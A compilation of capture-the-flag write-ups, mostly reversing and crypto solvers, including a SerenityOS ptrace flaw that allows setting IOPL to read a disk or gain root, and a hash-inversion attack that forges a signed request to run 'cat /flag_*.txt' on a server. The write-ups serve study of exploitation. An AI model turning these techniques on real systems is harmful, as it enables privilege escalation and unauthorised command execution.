0100111001101111001000000110100001101001011011100111010000100000011010000110010101110010011001010010110000100000011101110110100001100001011101000010000001100001011100100110010100100000011110010110111101110101001000000110010101111000011100000110010101100011011101000110100101101110011001110010000001100110011011110111001000111111 11011001 is a 64-bit binary written in C++ that takes in 20 32-bit integer and either prints "Zzz.." or the flag if the input matches a list of criteria
## Solution
This challenge was pretty easy, the binary contained all the constrains for the 20 input numbers after each other.The control flow was a bit unusual but besides that reimplementing them in python and solving for them with z3 directly worked:
```pythonfrom z3 import *import math
s = Solver()
inputBuffer = [BitVec("inp_"+str(i), 32) for i in range(20)]
# Start of Constrains
compareData = [0x81002, 0x1000, 0x29065, 0x29061, 0, 0, 0x16C40, 0x16C00, 0x20905, 0x805, 0x10220, 0x220, 0x98868, 0x80860, 0x21102, 0x21000, 0x491, 0x481, 0x31140, 0x1000, 0x801, 0x0, 0x60405, 0x400, 0x0C860, 0x60, 0x508, 0x400, 0x40900, 0x800, 0x12213, 0x10003, 0x428C0, 0x840, 0x840C, 0x0C, 0x43500, 0x2000, 0x8105A,0x1000] for index in range(20): s.add((compareData[2 * index] & inputBuffer[index]) == compareData[2 * index + 1]) for index in range(20): for shift in range(18): s.add(((inputBuffer[index] >> shift) & 7) != 7) s.add(((inputBuffer[index] >> shift) & 7) != 0)
for shiftIndex in range(20): orValue = 0 for index in range(20): shiftedValue = inputBuffer[index] >> shiftIndex; orValue = ((shiftedValue & 1) << index) | orValue; for shift in range(18): s.add(((orValue >> shift) & 7) != 7) s.add(((orValue >> shift) & 7) != 0) def popcount(bvec): # Hamming Weight return Sum([ ZeroExt(int(math.ceil(math.log(bvec.size(), 2.0))), Extract(i,i,bvec)) for i in range(bvec.size())]) for index in range(20): s.add(popcount(inputBuffer[index]) == 10) for shiftIndex in range(20): orValue = 0 for index in range(20): shiftedValue = inputBuffer[index] >> shiftIndex; orValue = ((shiftedValue & 1) << index) | orValue; s.add(popcount(orValue) == 10) s.add(Distinct(inputBuffer))
for untilValue in range(19): for innerValue in range(untilValue): orValue = 0 for index in range(20): shiftedValue = inputBuffer[index] >> untilValue; orValue = ((shiftedValue & 1) << index) | orValue; orValue2 = 0 for index in range(20): shiftedValue2 = inputBuffer[index] >> innerValue; orValue2 = ((shiftedValue2 & 1) << index) | orValue2; s.add(orValue != orValue2) # Enf of Constraints print(s.check())m = s.model()
print(m)
for i in range(20): print(str(m[inputBuffer[i]]))```
./11011001-878450f7a8f95309ce756975ce912376d829c1d7caeed7f80da72ee3bc67e5ca 350617 693097 828630 224554 629333 304811 682342 742996 370089 318099 676716 634010 340837 412886 699033 349483 183638 864940 731731 447908 Congratulations! Here's your gift: hitcon{fd05b10812d764abd7d853dfd24dbe6769a701eecae079e7d26570effc03e08d} # Run Run Run!
just run it and get the flag Run Run Run! is a Garmin Connect IQ executable written in Monkey C. The task is extracting and optimizing the algorithm used to calculate the flag.
## Solution
### Step 1 - What even is a Connect IQ executable / PRG File
To this question the [garmin developer documentation](https://developer.garmin.com/connect-iq/connect-iq-basics/getting-started/) mentions it's the output of the Monkey C compiler:
monkeyc calls the Monkey C compiler. The compiler can take code from multiple files and link them together into a single Connect IQ executable (a PRG file). Ok, and what is Money C?
Connect IQ apps are created in Monkey C, an object-oriented language designed for easy app development. [[...]](https://developer.garmin.com/connect-iq/connect-iq-basics/)
Like Java, Monkey C compiles into byte code that is interpreted by a virtual machine. [[...]](https://developer.garmin.com/connect-iq/monkey-c/)
So a PRG file is somewhat like what a JAR file is for Java classes. Actually it seems to be more like mushed together classes but we'll go with this.
### Step 2 - What tools are available for this format
There is for one the official [SDK](https://developer.garmin.com/connect-iq/sdk/) which most interestingly contains a compiler and simulator.There also is an unofficial project called [ciqdb](https://github.com/pzl/ciqdb) for parsing PRG files and even though a lot of functionality seems to be missing it's still helpful.
### Step 3 - Try out all the tools
Starting with the simulator, running the application shows characters of the flag appearing.At first it's pretty fast but it slows down and after 7 characters nothing appears anymore and it seems frozen.The most interesting feature I noticed in the simulator is the memory viewer:
Interesting is the `magic` array. Also notable was an array called `target` which contained a few powers of three.
Ok next ciqdb, which outputs tons of information regarding entry points, data, fields, code, classes, line of code tables, symbols, resources, exceptions and the signature.
A bit of browsing and the interesting `timerCallback`, `solve` and `drawFlag` names turn up.
``` extends Offset: 400000d7 static Entry: 0 parent module: globals module ID: Unknown Symbol ID: 0 app types: 7f fields: magic: 0 Null target: 0 Null idx: 4294967295 Int myTimer: 0 Null timerCallback: 268435913 Method solve: 268435953 Method drawFlag: 268436065 Method idx: 268436654 hidden Method Unknown Symbol ID: 94: 268435554 Method Unknown Symbol ID: 174: 32 Int globals/Rez: 268435611 Method globals/Rez/Menus: 268435636 Method Unknown Symbol ID: 123: 850 String Unknown Symbol ID: 255: 1073742039 hidden ClassDefinition```
The Line Number Table says these all belong to the `hitconView.mc` file, interesting.
``` C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:41 timerCallback (pc 268435913) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:42 timerCallback (pc 268435917) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:43 timerCallback (pc 268435936) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:46 solve (pc 268435953) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:47 solve (pc 268435957) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:48 solve (pc 268435964) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:50 solve (pc 268435985) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:51 solve (pc 268436008) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:52 solve (pc 268436018) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:53 solve (pc 268436046) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:54 solve (pc 268436050) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:55 solve (pc 268436054) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:57 solve (pc 268436061) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:60 drawFlag (pc 268436065) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:61 drawFlag (pc 268436069) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:62 drawFlag (pc 268436105) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:63 drawFlag (pc 268436117) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:64 drawFlag (pc 268436153) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:65 drawFlag (pc 268436172) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:66 drawFlag (pc 268436191)```
### Step 4 - Looking at the code
Wait, ciqdb shows `c0debabe - Code (2243 bytes)` but no disassembly or anything of the sort?The official debugger doesn't seem to be able to show bytecode either (or even load binaries without additional debug information).[And there is no documentation of the bytecode either..](https://forums.garmin.com/developer/connect-iq/f/discussion/7675/is-there-some-reference-of-the-connect-iq-vm-instruction-set)
This would be pretty bad.... if the compiler the sdk provides wasn't within a potential interesting JAR file.Through lots of deduction this lead to the results in `runrunrun/disassemble.py` which also incorporates the knowledge from the Line Number Table.
```timerCallback: 0x100001c9: ARGC 01 0x100001cb: INCSP 00 0x100001cd: LGETV 00 0x100001cf: SPUSH 00000018 0x100001d4: DUP 01 0x100001d6: DUP 01 0x100001d8: GETV 0x100001d9: IPUSH 00000001 0x100001de: ADD 0x100001df: PUTV 0x100001e0: SPUSH 00800011 0x100001e5: GETM 0x100001e6: SPUSH 008001a2 0x100001eb: GETV 0x100001ec: FRPUSH 0x100001ed: INVOKE 01 0x100001ef: POPV 0x100001f0: RETURN ```
The parameters are naively just append as hex-bytes, but this seems to work for all relevant instructions.For anyone familiar with Java or Dalvik Bytecode this probably already looks very understandable.
What we have here is a stack machine with relative simple instructions.
Annotated this function would be:
```timerCallback: 0x100001c9: ARGC 01 ; This function has 1 argument (I assume the *this* context) 0x100001cb: INCSP 00 ; Reserve 0 local variables 0x100001cd: LGETV 00 ; Get the *this* context 0x100001cf: SPUSH 00000018 ; Push the symbol 24 "idx" 0x100001d4: DUP 01 ; Duplicate stack value 0x100001d6: DUP 01 ; Duplicate stack value 0x100001d8: GETV ; Read the symbols value 0x100001d9: IPUSH 00000001 ; Push the integer 1 0x100001de: ADD ; Add top two elements 0x100001df: PUTV ; Write value to symbol, so idx = idx + 1; 0x100001e0: SPUSH 00800011 ; Push the symbol 8388625 "Toybox_WatchUi" 0x100001e5: GETM ; Read the symbols value 0x100001e6: SPUSH 008001a2 ; Push the symbol 8389026 "requestUpdate" 0x100001eb: GETV ; Read the symbols value 0x100001ec: FRPUSH ; Push the method? 0x100001ed: INVOKE 01 ; Invoke function 0x100001ef: POPV ; Pop return value 0x100001f0: RETURN ; return from the function```
Some of this annotation is still lacking but it's good enough to understand the functionality.Now to the actual interesting methods:
```onUpdate: 0x100000b4: ARGC 02 ; This function has 2 arguments, *this* and *dc*, The device context (https://developer.garmin.com/connect-iq/api-docs/Toybox/WatchUi/View.html) 0x100000b6: INCSP 01 ; Reserve one local variable 0x100000b8: LGETV 00 0x100000ba: SPUSH 008002ff ; Push the symbol 8389375 "WatchFace" 0x100000bf: GETV 0x100000c0: SPUSH 00800204 ; Push the symbol 8389124 "onUpdate" 0x100000c5: GETV 0x100000c6: FRPUSH 0x100000c7: LGETV 01 0x100000c9: INVOKE 02 0x100000cb: POPV 0x100000cc: LGETV 00 0x100000ce: SPUSH 00000019 ; Push the symbol 25 "myTimer" 0x100000d3: GETV 0x100000d4: SPUSH 0080005b ; Push the symbol 8388699 "stop" 0x100000d9: GETV 0x100000da: FRPUSH 0x100000db: INVOKE 01 0x100000dd: POPV 0x100000de: LGETV 00 0x100000e0: SPUSH 00000018 ; Push the symbol 24 "idx" 0x100000e5: GETV 0x100000e6: IPUSH 00000000 0x100000eb: GTE 0x100000ec: DUP 00 0x100000ee: BF 0012 0x100000f1: LGETV 00 0x100000f3: SPUSH 00000018 ; Push the symbol 24 "idx" 0x100000f8: GETV 0x100000f9: LGETV 00 0x100000fb: SPUSH 008000ae ; Pushg the symbol 8388782 "size" 0x10000100: GETV 0x10000101: LT 0x10000102: AND 0x10000103: BF 004e 0x10000106: LGETV 00 ; Get the *this* context 0x10000108: SPUSH 0000001b ; Push the symbol 27 "solve" 0x1000010d: GETV ; Get the "solve" method value 0x1000010e: FRPUSH ; Push the method? 0x1000010f: INVOKE 01 ; Invoke the "solve" method 0x10000111: IPUSH 00000100 ; Push 0x100 0x10000116: MOD ; Push solve(this) % 0x100 0x10000117: LPUTV 02 ; local2 = solve(this) % 0x100 0x10000119: LGETV 02 ; Push local2 0x1000011b: LGETV 00 ; Get the *this* context 0x1000011d: SPUSH 00000016 ; Push the symbol 22 "magic" 0x10000122: GETV ; Get the "magic" array value 0x10000123: LGETV 00 ; Get the *this* context 0x10000125: SPUSH 00000018 ; Push the symbol 24 "idx" 0x1000012a: GETV ; Get the "idx" integer value 0x1000012b: AGETV ; Push this.magic[this.idx] 0x1000012c: XOR ; Push this.magic[this.idx] ^ solve(this) % 0x100 0x1000012d: LPUTV 02 ; local2 = this.magic[this.idx] ^ solve(this) % 0x100 0x1000012f: LGETV 00 ; Get the *this* context 0x10000131: SPUSH 0080027b ; Push the symbol 8389243 "flag" 0x10000136: DUP 01 ; Duplicate stack value 0x10000138: DUP 01 ; Duplicate stack value 0x1000013a: GETV ; Read "flag" value 0x1000013b: LGETV 02 ; Push local2 0x1000013d: SPUSH 008004c6 ; Push the symbol 8389830 "toChar" 0x10000142: GETV ; Get the "toChar" value 0x10000143: FRPUSH ; Push the method? 0x10000144: INVOKE 01 ; Invoke toChar(local2) 0x10000146: SPUSH 008000af ; Push symbol 8388783 "toString" 0x1000014b: GETV ; Get the "toString" value 0x1000014c: FRPUSH ; Push the method? 0x1000014d: INVOKE 01 ; Invoke toString(toChar(local2)) 0x1000014f: ADD ; Push flag+toString(toChar(local2)) 0x10000150: PUTV ; flag = flag+toString(toChar(local2)) 0x10000151: GOTO 0000 0x10000154: LGETV 00 0x10000156: SPUSH 0000001c ; Push the symbol 28 "drawFlag" 0x1000015b: GETV 0x1000015c: FRPUSH 0x1000015d: LGETV 01 0x1000015f: LGETV 00 0x10000161: SPUSH 0080027b ; Push the symbol 8389243 "flag" 0x10000166: GETV 0x10000167: INVOKE 03 0x10000169: POPV 0x1000016a: LGETV 00 0x1000016c: SPUSH 00000018 ; Push the symbol 24 "idx" 0x10000171: GETV 0x10000172: IPUSH 00000001 0x10000177: ADD 0x10000178: LGETV 00 0x1000017a: SPUSH 008000ae ; Pushg the symbol 8388782 "size" 0x1000017f: GETV 0x10000180: LT 0x10000181: BF 0044 0x10000184: LGETV 00 0x10000186: SPUSH 00000019 ; Push the symbol 25 "myTimer" 0x1000018b: GETV 0x1000018c: SPUSH 0080005a ; Push the symbol 8388698 "start" 0x10000191: GETV 0x10000192: FRPUSH 0x10000193: LGETV 00 0x10000195: SPUSH 008000b2 ; Push the symbol 8388786 "method" 0x1000019a: GETV 0x1000019b: FRPUSH 0x1000019c: SPUSH 0000001a ; Push the symbol 26 "timerCallback" 0x100001a1: INVOKE 02 0x100001a3: LGETV 00 0x100001a5: SPUSH 00000017 ; Push the symbol 23 "target" 0x100001aa: GETV 0x100001ab: LGETV 00 0x100001ad: SPUSH 00000018 ; Push the symbol 24 "idx" 0x100001b2: GETV 0x100001b3: IPUSH 00000001 0x100001b8: ADD 0x100001b9: AGETV 0x100001ba: IPUSH 00000064 0x100001bf: MUL 0x100001c0: BPUSH 00 0x100001c2: INVOKE 04 0x100001c4: POPV 0x100001c5: GOTO 0000 0x100001c8: RETURN ```
Now for the `solve` function:
```solve: 0x100001f1: ARGC 01 ; This function has 1 argument (I assume the *this* context) 0x100001f3: INCSP 05 ; There are 5 local variables 0x100001f5: IPUSH 00000000 0x100001fa: LPUTV 01 ; lvar1 = 0 0x100001fc: IPUSH 00000001 0x10000201: LPUTV 02 ; lvar2 = 1 0x10000203: IPUSH 00000001 0x10000208: LPUTV 03 ; lvar3 = 1 0x1000020a: IPUSH 00000001 0x1000020f: LPUTV 04 ; lvar4 = 1 0x10000211: LGETV 01 ; Push lvar1 0x10000213: LGETV 00 ; Get the *this* context 0x10000215: SPUSH 00000017 ; Push the symbol 23 "target" 0x1000021a: GETV ; Get the target value 0x1000021b: LGETV 00 ; Get the *this* context 0x1000021d: SPUSH 00000018 ; Push the symbol 24 "idx" 0x10000222: GETV ; Get the idx value 0x10000223: AGETV ; Push this.target[this.idx] 0x10000224: LT ; Compared lvar1 < this.target[this.idx] 0x10000225: BF 0035 ; If false goto 0x1000025d 0x10000228: LGETV 01 0x1000022a: IPUSH 00000001 0x1000022f: ADD 0x10000230: LPUTV 01 ; lvar1 = lvar + 1 0x10000232: IPUSH 00000002 0x10000237: LGETV 02 0x10000239: MUL ; push lvar2 * 2 0x1000023a: LGETV 03 0x1000023c: ADD ; push lvar2 * 2 + lvar3 0x1000023d: IPUSH 00000007 0x10000242: LGETV 04 0x10000244: MUL ; push lvar4 * 7 0x10000245: ADD ; push lvar2 * 2 + lvar3 + lvar4 * 7 0x10000246: IPUSH 00007a69 0x1000024b: MOD ; push (lvar2 * 2 + lvar3 + lvar4 * 7) % 31337 0x1000024c: LPUTV 05 ; lvar5 = (lvar2 * 2 + lvar3 + lvar4 * 7) % 31337 0x1000024e: LGETV 03 0x10000250: LPUTV 04 ; lvar4 = lvar3 0x10000252: LGETV 02 0x10000254: LPUTV 03 ; lvar3 = lvar2 0x10000256: LGETV 05 0x10000258: LPUTV 02 ; lvar2 = lvar5 0x1000025a: GOTO ffb4 ; Goto 0x10000211 0x1000025d: LGETV 02 0x1000025f: RETURN ; Return lvar2 0x10000260: RETURN ```
### Step 5 - Reimplementation
The relevant part of the `onUpdate` can be easily translated to
```pythonflag = ""for i in range(len(magic)): flag += chr((solve(i)%0x100) ^ magic[i])```
For the reimplementation of `solve` it's important to recall that in memory we saw that the `target` array contains the powers of 3 in sequential order:
```pythondef solve(idx): lvar2 = 1 lvar3 = 1 lvar4 = 1 for lvar1 in range(0, (3**idx)): lvar5 = ((lvar3 + (lvar2 * 2)) + (lvar4 * 7))% 31337 lvar4 = lvar3 lvar3 = lvar2 lvar2 = lvar5 return lvar2```
hitcon{You_hAv3_ We are getting there! But why is this taking so long... turns out `3**idx` can get quite large, for the last character this would mean `617673396283947` iterations... yeah that isn't happening.
### Step 6 - Smart Math Trickery
I wasn't smart enough for the optimizing but my teammate esrever from polygl0ts was quick to find the answer:
It turns out
 can be turned into
(Assuming that input x > 0)
Computing the solve values this way is very fast (especially within modulo 31337), making it finally possible to solve this challenge:
```pythonmagic = [98, 32, 84, 253, 217, 18, 92, 22, 112, 138, 147, 46, 168, 229, 31, 149, 72, 94, 191, 124, 21, 176, 10, 104, 154, 213, 235, 25, 237, 61, 18, 15]
solveArray = [10, 73, 3360, 20638, 28598, 17532, 5671, 17999, 7711, 3071, 22732, 26694, 20457, 1939, 10540, 11722, 24188, 4718, 9952, 24078, 9312, 22526, 30293, 13358, 29098, 19623, 27022, 27759, 9438, 21839, 21043, 6258, 29448] flag = ""for i in range(len(magic)): flag += chr((solveArray[i]%0x100) ^ magic[i])print(flag)```
hitcon{You_hAv3_40_ruN_F0rev3r!}
|
[https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/brixel_2020/Old_Tech/Punchcard](https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/brixel_2020/Old_Tech/Punchcard) |
# wisdom2Category: zahjebischte, pwn
Solves: 1Points: 1000
# Description[Oops, I did it again.](https://2019.ctf.link/internal/challenge/1fef0346-a1de-4aa4-8df9-2d18229c6dbb/) :^)
This is commit # 4232874270015d940a2ba62c113bcf12986a2151 with the attached patch applied. Flag is in /dev/hdb.
Note that the setup of this task is perhaps a bit shaky: If you don’t get a shell prompt within a few seconds after solving the proof of work, something is wrong. Each connection has a time limit of 10 minutes; you may contact us in case this causes problems for you.
# Files[wisdom2-c46f03732e9dceef.tar.xz](https://2020.ctf.link/assets/files/wisdom2-c46f03732e9dceef.tar.xz)
# Solution## VulnerabilityThe goal of this task was to find a vulneraility in the latest release of [SerenityOS](http://serenityos.org) in order to read the flag from /dev/hdb. After looking through the code for a while I noticed a vulnerability in the ptrace implementation:When setting the registers of a thread by calling ptrace(PT\_SETREGS, pid, ®s, 0), eventually the following code is reached (in [Kernel/Ptrace.cpp](https://github.com/SerenityOS/serenity/blob/2dfe5751f35d0067747c6615bf139871cc105fa6/Kernel/Ptrace.cpp#L175)):```C++void copy_ptrace_registers_into_kernel_registers(RegisterState& kernel_regs, const PtraceRegisters& ptrace_regs){ kernel_regs.eax = ptrace_regs.eax; kernel_regs.ecx = ptrace_regs.ecx; kernel_regs.edx = ptrace_regs.edx; kernel_regs.ebx = ptrace_regs.ebx; kernel_regs.esp = ptrace_regs.esp; kernel_regs.ebp = ptrace_regs.ebp; kernel_regs.esi = ptrace_regs.esi; kernel_regs.edi = ptrace_regs.edi; kernel_regs.eip = ptrace_regs.eip; kernel_regs.eflags = ptrace_regs.eflags;}```kernel\_regs are the register contents of the ptrace'd process, while ptrace\_regs are the passed-in registers. Note that ptrace\_regs is not checked at all. Can you spot the vulnerability?
If not, maybe [this](https://en.wikipedia.org/wiki/FLAGS_register) will help you.
The vulnerability is that eflags can be set to arbitrary values. For example, it is possible to set the IOPL bits (bits 12/13) to one, therefore allowing access to I/O Ports (and the interrupt flag) in Ring 3 (userspace).
## ExploitationThere are multiple ways to exploit this vulnerability, but the easiest one is to set IOPL to 3 and then write (or copy ;) an ATA driver to read the flag directly from the IDE drive (using ATA PIO mode). Note that it is also possible to gain root privileges by writing to the main drive (just overwrite a setuid binary or change the owner/mode of your own binary). Fortunately, simple ATA PIO drivers already exist and I decided to just use [this one](https://github.com/dhavalhirdhav/LearnOS/blob/fe764387c9f01bf67937adac13daace909e4093e/drivers/ata/ata.c). The exploit can be found [here](https://github.com/allesctf/writeups/blob/master/2020/hxpctf/wisdom2/exploit.c).
## FixI recommend to always clear the IOPL bits and to always set the interrupt flag. If the nested task flag is not used in SerenityOS, it should also be cleared. Also note that the same vulnerability is present in [sigreturn](https://github.com/SerenityOS/serenity/blob/2dfe5751f35d0067747c6615bf139871cc105fa6/Kernel/Syscalls/sigaction.cpp#L112).
## Flaghxp{alL3\_j4Hr3\_w1eD3r\_k0MmT\_d3R\_r0oT\_eXpLO1t|http://serenityos.org/bounty} |
# Red Green Blue CadetsCategory: Forensics
Points: 411
Solved by: staccah_staccah
## Problem
Our spy take this picture from KGB special school. They have strange uniform, doesn't it?
## Writeup
Opening the image we immediately notice that the military caps are colored with 3 colors: Red, Blue and Green. A clear reference to RGB but in a different order, namely RBG.Using the Data extract option on StegSolve and setting RBG we get the flag:flag: `kks{s4lut3_t0_c4d3ts!}` |
[https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/brixel_2020/Forensics/Evidence](https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/brixel_2020/Forensics/Evidence) |
"=" at the end of the given string may mean base64. Base64 decoded, the string looks like binary. Apply binary decoding. FlagFrom_Binary('Space')&input=TURFeE1UQXhNREFnTURFeE1ERXdNREFnTURFeE1EQXhNREVnTURBeE1EQXdNREFnTURFeE1EQXhNVEFnTURFeE1ERXhNREFnTURFeE1EQXdNREVnTURFeE1EQXhNVEVnTURBeE1EQXdNREFnTURFeE1ERXdNREVnTURFeE1UQXdNVEVnTURBeE1EQXdNREFnTURFeE1EQXdNVEFnTURFeE1UQXdNVEFnTURFeE1ERXdNREVnTURFeE1URXdNREFnTURFeE1EQXhNREVnTURFeE1ERXhNREFnTURFd01EQXdNVEVnTURFd01UQXhNREFnTURFd01EQXhNVEFnTURFeE1URXdNVEVnTURFeE1UQXdNVEFnTURFeE1ERXhNVEVnTURFeE1EQXdNVEFnTURFeE1ERXhNVEVnTURFeE1EQXdNVEVnTURFeE1ERXhNVEVnTURFeE1UQXdNREFnTURFeE1URXhNREU9) |
tl;dr We exploit a weakness in the hash function to revert it for a known data string. (The weakness does **not** require in-depth understanding of the hashing, see step 2)
*The exploit idea is quite simple, but I find it rather complex to explain it correctly. Sorry if the write-up is a bit confusing.*
Between nanothorpe and minithorpe, 3 small changes happened:1. Deletion of the URL decoding -> we cannot send the 0x80 character that is part of the padding2. Argumentparsing changed -> now, if we provide several identical parameters, the first will be used instead of the last3. the expiry parameter is appendend instead of prepended to our message
Those changes turn the length attack unfeasable. Now it is time to take a look at the hash function in _compress()
Our exploit will do the following steps:1. Let the server sign a message consisting of 2 Blocks in total (we know everything except the first 32 bytes in the first block, we put an own expiry= in the first block, and cmd=ls in the second block)2. Using the final state of the octothorpe class and the second block, we compute octothorpe's state after compressing the first block, essentially deleting the second block (with the cmd=ls parameter)3. We can now compress our own second block appending our own cmd: `cmd=cat+%2Fflag_%2A.txt`
##### Step 1We know the secret is 32 Bytes (check the Docker file), we add an `expiry=` parameter with a time far in the future.We add some unused parameters for filling and finish the first message with `cmd=ls`. The total message is 128 Bytes - 32 Bytes (the secret added by the server) - 9 Bytes (added by octothorpe to finalize the hashing). (The exact length does not matter)We let the server sign this message and extract the query_string (which includes the server's expiry= as well) and the signature (final state of octothorpe)
##### Step 2Let's investigate the hash function:* We have a 16 byte state, and a 64 byte block as the input.* There are 20 Rounds. In each round, every byte of the block is used in some magic and modifies the state at index `j-1` and `j+1`. There has to be something fishy about this.* If we want to revert the hashing, we should do it round-by-round, so we look at the rounds seperatly* If you take a closer look what is "constant" and what is unknown in the hashing, we can rewrite the inner loop as:```for i in range(64): j = 'independent of input' self._state[j-1] = self._state[j-1] ^ magic-depending-on-(state[j]) self._state[j+1] = self._state[j+1] ^ magic-depending-on-(state[j])```* We wanted to know, which byte in the 16 byte state contribute to which byte in the resulting state. Therefor, we just run the program and collected this information. So, in each iteration, we know `i` and `j` (both do not depend on the state or input, so we can do this with abitrary values). And we know that the state's bytes at index `j-1` and `j+1` are affected by the original values at these positions and the input value at index `i`. From this, we can compute the *depends on*-information. It looks like this for the last round:```0 depends on 15, 1, 15, 1, 15, 1, 15, 1, 1 depends on 0, 2, 0, 2, 0, 2, 0, 2, 2 depends on 3, 1, 3, 1, 3, 1, 3, 1, 3 depends on 2, 4, 2, 4, 2, 4, 2, 4, 4 depends on 3, 5, 3, 5, 3, 5, 3, 5, 5 depends on 6, 4, 6, 4, 6, 4, 6, 4, 6 depends on 5, 7, 5, 7, 5, 7, 5, 7, 7 depends on 6, 8, 6, 8, 6, 8, 6, 8, 8 depends on 9, 7, 9, 7, 9, 7, 9, 7, 9 depends on 8, 10, 8, 10, 8, 10, 8, 10, 10 depends on 9, 11, 9, 11, 9, 11, 9, 11, 11 depends on 12, 10, 12, 10, 12, 10, 12, 10, 12 depends on 11, 13, 11, 13, 11, 13, 11, 13, 13 depends on 12, 14, 12, 14, 12, 14, 12, 14, 14 depends on 15, 13, 15, 13, 15, 13, 15, 13, 15 depends on 0, 14, 0, 14, 0, 14, 0, 14,```Weeee. So, only the values of the 1st and 15th (and the 0th byte itself) in the old state affect the 0th byte in the state after this final round (numbers appear several times, because several values for `i` use the same state bytes). And this is the worst case already. What does this mean? The bytes are fairly independent, allowing us to bruteforce them step by step instead of all at once.
Let's say, the (unknown) state before the final round is `[s_0, s_1, s_2, ..., s_15]` and the final state is `[t_0, t_1, t_2, ..., t_15]` (known from the signature). So, `t_0` depends on the values of `s_1`, `s_15` and `s_0` for a fixed input block. We also consider `block` to be known (if the message is at least 2 blocks long, we know the last block).
So, basically, the value `t_0 = s_0 ^ magic(s_1) ^ magic(s_15)`. There are `256*256` possibilities for `s_1` and `s_15` and for all those possibilities, we can simulate the hashing and compute `magic(s_1) ^ magic(s_15)`, because we know `sbox`, `block`, `shift`, ... Also knowning `t_0`, we can now deduce `s_0`. So, for each pair `(s_1, s_15)`, we also know `s_0`. We now have about `256*256` triples to continue with (but this number will now grow much).
Now let's go to to `t_1`. It depends on `s_0`, `s_2` and `s_ 1`. We already fixed `s_1` and computed `s_0`, so only bruteforce 256 possibilities for `s_2` and check which one gives the exptected value of `t_1`. In most cases there is one value that fits, so we do this for each of the triples and now have around the same amount of tuples with 4 bytes fixed in each of them. We continue this up to `t_15`. Looking at `t_14` and `t_15`, you can see that they depend on `s_15` and `s_0`, two values that are already fixed, so when we get there, we just need to check whether the hashing computes the expected values of `t_14` and `t_15`. And hereby the number of around `256*256` tuples decreases to 1 valid tuple. This tuple (fixed values for all 16 bytes `s_i`) is a valid state for `s` that will result in `t` after applying the hashing using the given input `block`. We undid round 20 and can now do the same for round 19, round 18, ... and all the way back until we undid round 1 giving us the initial state of octothorpe after hashing the first block, but before hashing the second block.
*Notes*:* some cases, there are 2 or more input states valid (we encountered rare cases of 4 or even 8 states), so we had to undo previous rounds for all of those states, but most of them lead to a dead end (no input state could lead to the expected output and could thus be dropped). In the end, we got 7 states where only one was the actual state used by octothorpe on the server. But we can try 7 possibilities.* We implemented this algorithm in C++ to be faster. It took about 1 minute to compute.* The code is really bad c++, because I did not want to think about clean solutions, so here is just a pseudo code variant for inverting a single round:```function invert_one_round(round, state_after, block): possible_states = [[-1] * 16] # 1 state, nothing known yet for idx in range(16): for ps in possible_states: d1, d2 = get-depends-on(idx) # e.g. idx=0 -> d1 = 15, d2 = 1 for v1 in range(256) and v2 in range(256): # (or if we already fixed d1 or d2 in ps, use this one) ps[d1] = v1, ps[d2] = v2 tmp = state_after[idx] # this is the exptected state (= t_idx) for each depedency of idx: # a dependency contains the index inside of block and the state used to compute magic() tmp = tmp ^ magic(block_idx, j, jj, round) # magic() is this line: self.sbox[block[i] ^ rol(state[j], self.shift[jj], 8)], all values are known / fixed here # now tmp is the value of s_idx if ps[idx] == -1: ps[idx] = tmp # fix this one possible_pre_states.add(ps) elif ps[idx] != tmp: # error, continue with next possible_state else: # consistent possible_pre_states.add(ps) possible_states = possible_pre_states # for next round return possible_states # all states lead to after_state, when applying the hashing using input block in the given round```
##### Step 3We setup octothorpe with the state after the first block, add our own second block containing the command we want to execute and hash this second block. This message can be sent to the `/api/run` endpoint just like in nanothorpe. As we can have multiple possible state, we just try all of them (all tests gave about 5-10 states). |
[https://github.com/goapsych0/ctf/blob/master/python/crusoe-solve.py](https://github.com/goapsych0/ctf/blob/master/python/crusoe-solve.py)
running the above script gives us the flag
```$ ./crusoe-solve.pyread in the flag file:skipping empty lineskipping empty lineskipping empty lineskipping empty lineskipping empty lineskipping empty lineskipping empty lineskipping empty linecvnju0ctjunvtmdnfmt0wm0k0gfmgjgdtvjnfczzf0gfyz0dt000e0knzufgv0k[+] Opening connection to 66.172.10.203 on port 9999: Done[*] Switching to interactive mode+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ..:: Crusoe flag checker ::.. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++| Please input your right answer for Crusoe task: Congrats! this is the flag: ASIS{cRuS03_10V3__0bFu5c4T3d__c0COnu75!!}``` |
[https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/brixel_2020/Web/DadJokes](https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/brixel_2020/Web/DadJokes) |
[https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/brixel_2020/RE/NoPeeking](https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/brixel_2020/RE/NoPeeking) |
[https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/brixel_2020/Crypto/Schei%C3%9Fe](https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/brixel_2020/Crypto/Schei%C3%9Fe) |
